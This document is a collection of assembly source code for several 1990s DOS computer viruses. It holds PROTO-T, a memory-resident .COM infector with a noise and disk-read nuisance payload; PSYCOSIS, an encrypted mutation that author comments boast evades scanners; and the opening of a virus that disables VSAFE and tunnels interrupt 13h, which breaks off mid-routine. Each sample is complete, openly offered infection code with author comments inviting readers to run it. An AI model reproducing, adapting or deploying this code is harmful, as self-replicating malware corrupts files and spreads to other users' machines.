call do_int21h
and cl,0feh ;set attribute
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
old_21h dw 00h,00h
old_17h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
jump db 0E9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
length_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
last db 090h
code ends
end host

@ -0,0 +1,420 @@
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is installed while the virus is in RAM. At start,
;PROTO-T polls the system time. If it is after 4:00 in the
;afternoon, the speaker will issue a hideous ringing noise and the
;hard file will be read very quickly, faking a massive Michelangelo-style
;trashing. The disk will continue to read until the user restores
;control by booting. (I took this slick routine from the first issue
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
;to those surprised by it. Heh.
;
;Files infected with PROTO-T will generally function normally until
;4 in the afternoon, when the virus locks them up until the next
;day by way of the nuisance routines described above. Infected files have
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
;appended to them at the end where the body of the virus is located.
;
;PROTO-T is not currently scanned. However, its modifications are easily
;flagged by a good file integrity checker. For example, Dr. Solomon's
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
;the novice user is left on his own by the Toolkit to determine the cause
;of the changes - a drawback which diminishes the software's value
;considerably, IMHO.
;
;I encourage you to play with PROTO-T by Dumbco. It is a
;well-behaved resident virus, useful in demonstrating the behavior
;of simple resident infectors and how they can "pop-up" suddenly and
;ruin your day. Of course, files infected by PROTO-T are, for all
;intents and purposes, useless for future computing unless you like
;the idea of a resident virus keeping you company and freezing up
;your work late in the afternoon.
;
;Known incompatibilities: PROTO-T will behave weirdly on machines
;using SYMANTEC's NDOS as a command processor. And some caches will
;cause PROTO-T to hang the machine immediately. For best results,
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
;management seems to work fine. (Ain't this somethin': software
;advisories with a virus!)
;
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
;& our European friends Dark Helmet and Peter Venkmann with their very
;complete code archives (in particular, the CIVIL_II template). The
;'scarey ' subroutine was excerpted from "Computer Virus Developments
;Quarterly", Vol. 1., No.1.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
length equ offset last - begin
virus_length equ length / 16d
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
;marker in host
begin:
call virus ;make call to
;push instruction pointer on stack
virus:
mov ah,02Ch ;DOS get time function
int 021h
mov al,ch ;Copy hour into AL
cbw ;Sign-extend AL into AX
cmp ax,0010h ;Did the function return 16 (4 pm)?
jge malfunkshun ;If after 4 pm, do Proto-T thang!
jmp getonwithit
malfunkshun: ;sound and fury start
cli ;turn off interrupts
mov dx,2
agin1: mov bp,40 ;do 40 cycles of sound
mov si,1000 ;1st frequency
mov di,2000 ;2nd frequency
mov al,10110110b ;address of channel 2 mode 3
out 43h,al ;send to port
agin2: mov bx,si ;place sound number in bx
backerx: mov ax,bx ;now put in ax
out 42h,al
mov al,ah
out 42h,al
in al,61h ;get port value
or al,00000011b ;turn speaker on
out 61h,al
mov cx,2EE0h ;delay
looperx: loop looperx ;do nothing loop so sound is audible
xchg di,si
in al,61h ;get port value
and al,11111100b ;AND - turn speaker off
out 61h,al ;send it
dec bp ;decrement repeat count
jnz agin2 ;if not = 0 do again
mov ax,10 ;10 repeats of 60000 loops
back: mov cx,0EA60h ;loop count (in hex for TASM)
loopery: loop loopery ;delay loops - no sound between bursts
dec ax
jnz back ;if not = 0 loop again
dec dx
jnz agin1 ;if not = 0 do whole thing again
sti ;restore interrupts
mov si,0 ;scarey part: drive reads real
scarey: lodsb ;fast ala Michelangelo-style
mov ah,al ;over-write, but this routine only
lodsb ;gets random bytes here for a
and al,3 ;cylinder to READ
mov dl,80h
mov dh,al
mov ch,ah
mov cl,1
mov bx,offset last ;buffer to read into
mov ax,201h
int 13h
jmp short scarey ;yow! scarey! just think if this
;was made by someone not as nice as
;me
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
getonwithit: pop bp ; get IP from stack.
sub bp,109h ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0A0h ;check if virus
int 21h ;already installed.
cmp ax,0001h
je end_virus
adjust_memory: mov ax,cs ;get Memory
dec ax ;Control Block
mov ds,ax
cmp byte ptr ds:[0000],5a ;check if last
;block -
jne abort ;if not last block,
;end
mov ax,ds:[0003] ;decrease memory
sub ax,50 ;by 1kb
mov ds:0003,ax
install_virus: mov bx,ax ;PSP
mov ax,es ;virus start
add ax,bx ;in memory
mov es,ax
mov cx,length ;cx = length virus
mov ax,ds ;restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ;point to start virus
lea di,es:0100 ;point to destination
rep movsb ;copy virus in
;memory
mov [virus_segment+bp],es ;store start of virus
;in memory
mov ax,cs ;restore extra segment
mov es,ax
hook_vector: cli ;disable interrupts
;because we're manipulating
mov ax,3521h ;the interrupt table and a
;crash would look bad
int 21h ;function 3521h - retrieve
mov ds,[virus_segment+bp] ;address of current handler
mov ds:[old_21h-6h],bx
mov ds:[old_21h+2-6h],es
mov dx,offset main_virus - 6h
mov ax,2521h ;copy new address (virus) to
int 21h ;interrupt table
sti ;interrupts on
abort: mov ax,cs ;restore everything
mov ds,ax
mov es,ax
xor ax,ax
end_virus:
mov bx,0100h ;jump to beginning
jmp bx ;of host file
;***************************************************************************
main_virus: pushf
cmp ah,0A0h ;check for virus
jne new_21h ;no virus call
mov ax,0001h ;ax = id
popf ;return id
iret
new_21h: push ds ;save registers
push es
push di
push si
push ax
push bx
push cx
push dx
cmp ah,40h
jne check_05
cmp bx,0004h
jne check_05
check_05: cmp ah,05h
jne check_exec
check_exec: cmp ax,04B00h ;intercept execute function
jne continue
mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
jmp chk_com ;goto check target
continue: pop dx ;restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: cld ;check extension of loaded file
mov di,dx ;for COM
push ds
pop es
mov al,'.' ;search extension
repne scasb ;for 'COM', so
cmp word ptr es:[di],'OC' ;check 'CO'
jne continue ;and
cmp word ptr es:[di+2],'M' ;check 'M'
jne continue
call set_int24h
call set_attribute
open_file: mov ds,cs:[name_seg-6] ;name of target file
mov dx,cs:[name_off-6]
mov ax,3D02h ;open file
call do_int21h ;simulate int21 call, see below
jc close_file
push cs
pop ds
mov [handle-6],ax
mov bx,ax
call get_date
check_infect: push cs
pop ds
mov bx,[handle-6] ;read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,[carrier_begin-6]
call do_int21h
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,[initials-6]
je save_date ;if equal, already
;infected
get_length: mov ax,4200h ;set file pointer to begin
call move_pointer
mov ax,4202h ;set file pointer to end
call move_pointer
sub ax,03h ;ax = file length
mov [length_file-6],ax
call write_jmp
call write_virus ;summon write virus to file
save_date: push cs ;save date of file
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,[handle-6]
mov ah,03eh ;close file
call do_int21h
mov dx,cs:[old_24h-6] ;restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
jmp continue
new_24h: mov al,3 ;critical error handler
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
;since virus owns int21, a
do_int21h: pushf ;direct call would be counter
call dword ptr cs:[old_21h-6];productive, so do a pushf
ret ;and call combination - Dark
;Angel's virus guide is great
write_jmp: push cs ;at expalining this
pop ds
mov ax,4200h ;set pointer to beginning of file
call move_pointer
mov ah,40h
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[length_file-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: push cs
pop ds
mov ax,4202h ;write to file function
call move_pointer
mov ah,40
mov cx,length ;virus length
mov dx,100
call do_int21h ;do it
ret
get_date: mov ax,5700h ;retrieve date function
call do_int21h ;do it
push cs
pop ds
mov [date-6],dx ;restore date & time
mov [time-6],cx
ret
;set up critical error handler
set_int24h: mov ax,3524h ;request address of current handler
call do_int21h ;simulate int21 call
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h ;set vector to virus handler
call do_int21h ;do it
ret
set_attribute: mov ax,4300h ;get attribute
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call do_int21h
and cl,0feh ;set attribute
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
old_21h dw 00h,00h
old_17h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
jump db 0E9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
length_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
last db 090h
code ends
end host

@ -0,0 +1,567 @@
; VirusName : PSYCOSIS
; Origin : Sweden
; Author : The Unforgiven
; Date : 03/01/94
; This is yet another mutation of the Bob Ross virus, written by Dark
; Angel of Phalcon/Skism in September 1991. In my last version of this
; virus, I excluded the encryption, and included some destructive code
; instead. In this one, I added a new encryption, and thereby it went
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
; heuristics scanner says that it "probably" is infected with some
; unknown virus. The "standard" heuristic gets some flags, but not
; enough to say that it's infected. Therefor I'd like to claim that
; the scanners sucks!
; I had thought to change much more in the code, for example the
; spreading routine. This virus will search the whole tree for
; files to infect, and becomes therefor pretty slow, and easily
; detected. But hell, it spreads!, Hm, 3 files each run!..
; It also contains a resident printing part, which under some
; specific conditions will print some messages, in the top of the
; screen. If you're afraid that you are infected with this virus,
; just set the date to 0606 any year, and wait for some minutes.
; If a sudden message shows up, delete your .COM file, which first
; character is an "&".
;=============================================================================
; **** PSYCOSIS ****
;=============================================================================
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of Bob messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0606h ; Date of psychosis .(swedish national day).
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
;encrypt_val db 00h
encrypt_val dw 0
decrypt:
encrypt:
mov si, offset encrypt_val
add si, offset_off
mov ah, byte ptr [si]
mov cx, offset part2_end - offset bam_bam
add si, offset bam_bam - offset encrypt_val
mov di, si
call cheater
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
cheater:
ret
copy_rest_stuff:
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0 ; root directory
com_mask db '*.com',0 ; files to infect
dir_mask db '*.*',0 ; files to search for
back_dir db '..',0 ; go "dot-dot".
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go:
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 07/09?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ; *.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ; and changedir there
int 21h ;Yup, yup
jc short donext ; Do next if invalid
mov si, offset nest ; Else increment nest
add si, offset_off
inc word ptr [si] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
mov ah,1Ah ; and set DTA to it
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ; to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ; in order to
add si, offset_off ; halt the D-Cool
mov word ptr [si], 0 ; traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ; to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ; Find first file
mov cx, 0007h ; Any file
mov dx, offset com_mask ; DS:[DX] --> filemask
add dx, offset_off
int 21h ; Fill DTA (hopefully)
jc return_to_fcn ; <Sigh> Error #E421:0.1
jmp check_if_COM_infected ; I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ; Another loop,
add si, offset_off ; Another infection
dec byte ptr [si] ; Infected three?
jz enuff_for_now ; If so, exit
find_next_file:
mov ah,4Fh ; Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ; ??????D.COM?
jz find_next_file ; don't kill COMMAND.COM
mov ax,3D00h ; Open channel read ONLY
mov dx, si ; Offset Pathname in DX
sub dx, 6
int 21h ; Open NOW!
jc find_next_file ; If error, find another
xchg bx,ax ; bx is now handle
mov ah,3Fh ; Save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later
pop si ; Check for virus ID bytes
; in the buffer
push si
lodsw ; DS:[SI] -> AX
cmp ax, virus_marker ; Compare it
jnz infect_it ; infect it if ID #1 not found
lodsw ; Check next two bytes
cmp ax, virus_marker2 ; Compare it
jnz infect_it ; infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected
Signature db '\\ Merry Xmas and a happy new year // '
db 'Sweden - Snowing Again'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ; DS:[SI] -> ES:[DI]
movsw ; Save origtime
movsw ; Save origdate
movsw ; Save filesize
; Only need LSW
; because COM files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.
do_again:
mov ah, 2Ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ; 255 mutations
mov ax, 4301h ; Set file attributes
xor cx, cx ; to nothing
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3Eh ; Close file
int 21h ; handle in BX
mov ax, 3D02h ; Open file read/write
int 21h ; Filename offset in DX
jc bomb_out ; Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
; copy filehandle to
; oldhandle
stosw ; AX -> ES:[DI]
xchg ax, bx ; file handle in BX now
mov ah, 40h ; Write DS:[DX]->file
mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset
mov ax, [si] ; AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ; move file ptr
xor cx, cx ; from EOF
xor dx, dx ; offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h
mov ah, 3Eh ; Close file
int 21h
mov ax, 4301h ; Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ; do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
push es
mov byte ptr cs:[100h],0 ; Initialize fingerprint
xor bx, bx ; Zero BX for start
mov ax, cs
Init1: inc bx ; Increment search segment
mov es, bx ; value
cmp ax, bx ; Not installed if we reach
je Not_Installed_Yet ; the current segment
mov si, 100h ; Search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; Compare
jne init1 ; If not equal, try another
jmp Quit_Init ; else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ; DS:[SI]->ES:[DI]
mov ax, 3508h ; Get int 8 handler
int 21h ; put in ES:BX
mov cs:[duh], bx ; Save old handler
mov cs:[duh+2], es ; in cs:[104h]
mov ax, 2508h ; Install new handler
mov dx, Int_08_Start ; from DS:DX
int 21h ; Do it
push es
mov ax, ds:[2Ch] ; Deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ; In case of error
Quit_Init:
pop es
Error: ; On error, quit
Quit:
; if get drive, place it here (restore, and change to in the beginning).
mov ah, 3Bh ; Change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ; Change directory
; Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ; Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ; Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ; DS:SI -> AL
add si, ax ; ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ; Length of string
mov ax, 1300h ;
mov bx, 0070h ; Page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
Messages db 0
db 15, 'Another year passed by'
db 21, 'Another tear the willows cry'
db 22, 'to change the world we ever try'
db 26, 'to make a difference before we die'
db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
db 40, '(c) 93/94 The Unforgiven / Immortal Riot'
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start

@ -0,0 +1,508 @@
cseg segment para public 'code'
pureplus proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
.186
ALLOCATE_HMA equ 04a02h
CLOSE_HANDLE equ 03e00h
COMMAND_LINE equ 080h
COM_OFFSET equ 00100h
CRITICAL_INT equ 024h
DENY_NONE equ 040h
DONT_SET_OFFSET equ 006h
DONT_SET_TIME equ 040h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
EIGHTEEN_BYTES equ 012h
ENVIRONMENT equ 02ch
EXEC_PROGRAM equ 04b00h
EXE_SECTOR_SIZE equ 004h
EXE_SIGNATURE equ 'ZM'
FAIL equ 003h
FAR_INDEX_CALL equ 01effh
FILENAME_OFFSET equ 0001eh
FILE_OPEN_MODE equ 002h
FIND_FIRST equ 04e00h
FIND_NEXT equ 04f00h
FIRST_FCB equ 05ch
FLUSH_BUFFERS equ 00d00h
FOUR_BYTES equ 004h
GET_DTA equ 02f00h
GET_ERROR_LEVEL equ 04d00h
HARD_DISK_ONE equ 081h
HIDDEN equ 002h
HIGH_BYTE equ 00100h
HMA_SEGMENT equ 0ffffh
INT_13_VECTOR equ 0004ch
JOB_FILE_TABLE equ 01220h
KEEP_CF_INTACT equ 002h
KEYBOARD_INT equ 016h
MAX_SECTORS equ 078h
MULTIPLEX_INT equ 02fh
NEW_EXE_HEADER equ 00040h
NEW_EXE_OFFSET equ 018h
NULL equ 00000h
ONLY_READ equ 000h
ONLY_WRITE equ 001h
ONE_BYTE equ 001h
OPEN_W_HANDLE equ 03d00h
PARAMETER_TABLE equ 001f1h
READ_A_SECTOR equ 00201h
READ_ONLY equ 001h
READ_W_HANDLE equ 03f00h
REMOVE_NOP equ 001h
RESET_CACHE equ 00001h
RESIZE_MEMORY equ 04a00h
SECOND_FCB equ 06ch
SECTOR_SIZE equ 00200h
SETVER_SIZE equ 018h
SHORT_JUMP equ 0ebh
SIX_BYTES equ 006h
SMARTDRV equ 04a10h
SYSTEM equ 004h
SYS_FILE_TABLE equ 01216h
TERMINATE_W_ERR equ 04c00h
THREE_BYTES equ 003h
TWENTY_HEX equ 020h
TWENTY_THREE equ 017h
TWO_BYTES equ 002h
UNINSTALL equ 05945h
UN_SINGLE_STEP equ not(00100h)
VERIFY_3SECTORS equ 00403h
VOLUME_LABEL equ 008h
VSAFE equ 0fa01h
WRITE_A_SECTOR equ 00301h
WRITE_W_HANDLE equ 04000h
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
PURE_CODE_IS_AT equ 00147h
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h ;just some dummy area that was needed
org 00000h ;to have the compilier make a far jmp
old_int_13_addr label word ;directive EAh later on
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET ;com files seem to always start here
com_code:
;-----------------------------------------------------------------------------
jmp short disable_vsafe
;-----------------------------------------------------------------------------
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
;simple EXE header that we have imbedded the virii into
;-----------------------------------------------------------------------------
org PURE_CODE_IS_AT ;here because many exe files have 00's after this location
;-----------------------------------------------------------------------------
ax_cx_di_si_cld proc near ;sets varables for modifying sector
mov di,bx ;ES:BX is int 13 sector set di to bx
add di,PURE_CODE_IS_AT-COM_OFFSET
ax_cx_si_cld: call set_si ;get location of code in HMA
set_si: pop si ;and subtract the offset
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C
das ;set zero flag for the compare later on
cld ;clear direction
ret
ax_cx_di_si_cld endp
;-----------------------------------------------------------------------------
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
;must be here because the MZ 4Dh,5Ah
;.EXE header identifier gets changed to
;jmp 015C EAh,5Ah by changing one byte
;-----------------------------------------------------------------------------
disable_vsafe proc near ;while we are here lets allow other virii
mov dx,UNINSTALL ;it sure is nice to have a simple
mov ax,VSAFE ;call to do this
int KEYBOARD_INT
disable_vsafe endp
;-----------------------------------------------------------------------------
alloc_memory proc near ;clear disk buffers so reads are done
mov ah,high(FLUSH_BUFFERS)
int DOS_INT ;from disk and not from memory
xor di,di ;set it to zero
mov ds,di ;to set the DS there
mov bh,high(SECTOR_SIZE)
dec di ;now set it to FFFFh
mov ax,ALLOCATE_HMA ;lets see how much memory is available
int MULTIPLEX_INT ;in the HMA - ES:DI points to begining
mov ax,SMARTDRV ;lets flush smartdrv as well for maximum
mov bx,RESET_CACHE ;infection. it sure is nice to have
int MULTIPLEX_INT ;a simple call to do this
mov bl,SIX_BYTES ;for setting int 1 to tunnel
inc di ;if dos <5.0 or no HMA di is FFFFh
jz find_name ;if no memory don't install
call ax_cx_si_cld ;get varables for copy to HMA
rep movs byte ptr es:[di],cs:[si]
alloc_memory endp ;then copy it to ES:DI in HMA
;-----------------------------------------------------------------------------
set_int_13 proc near ;setting int 1 vectors for tunnelling
mov ax,offset interrupt_one
xchg word ptr ds:[bx-TWO_BYTES],ax
push ax ;great way to set interrupts
push word ptr ds:[bx];just push them on the stack for latter
mov word ptr ds:[bx],cs
xchg cx,di ;cx was 0, di was last byte of HMA code
mov dl,HARD_DISK_ONE;doesn't really matter which drive
pushf ;save the flags with TF cleared
pushf ;push flags for simulated int 13 call
pushf ;push flags for setting TF
mov bp,sp ;get the stack pointer
mov ax,VERIFY_3SECTORS
or byte ptr ss:[bp+ONE_BYTE],al
popf ;set TF and direction and call int 13
dw FAR_INDEX_CALL,INT_13_VECTOR
popf ;restore flags
pop word ptr ds:[bx];and int 1 vectors back
pop word ptr ds:[bx-TWO_BYTES]
set_int_13 endp ;now int 13 has our code hooked into it
;-----------------------------------------------------------------------------
find_name proc near ;now lets find out who we are to reload
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly
cmp word ptr ds:[bx-FOUR_BYTES],di
jne look_for_nulls ;the plan is to goto the end of our
find_name endp ;environment and look for 2 nulls
;-----------------------------------------------------------------------------
open_file proc near ;open current program and read header
push ds ;to see if the header was restored back
push bx ;save the program name on the stack
mov ch,THREE_BYTES ;read in 768 bytes of header
call open_n_read_exe ;open, read cx bytes, close file ds:bx
push cs ;set es to cs for compare of sector
pop es ;to infected sector
mov bx,dx ;get varables set correctly for compare
call convert_back ;compare them and convert them back
pop dx ;get file name again
pop ds
jne now_run_it ;if int 13 converted it back then run it
push ds ;else save file name again on stack
push dx
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos ;open current program for reads (don't set any alarms)
push bx ;save handle
int MULTIPLEX_INT ;get job file table for handle
mov dx,SYS_FILE_TABLE
xchg ax,dx ;done like this for anti TBAV hueristic scan
mov bl,byte ptr es:[di]
int MULTIPLEX_INT ;get SFT of handle to change ES:DI
pop bx ;get handle again
mov ch,high(SECTOR_SIZE)
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
cmpsw ;simple code to change open file to
stosb ;write back the cleaned header to file
mov dx,offset critical_error+COM_OFFSET
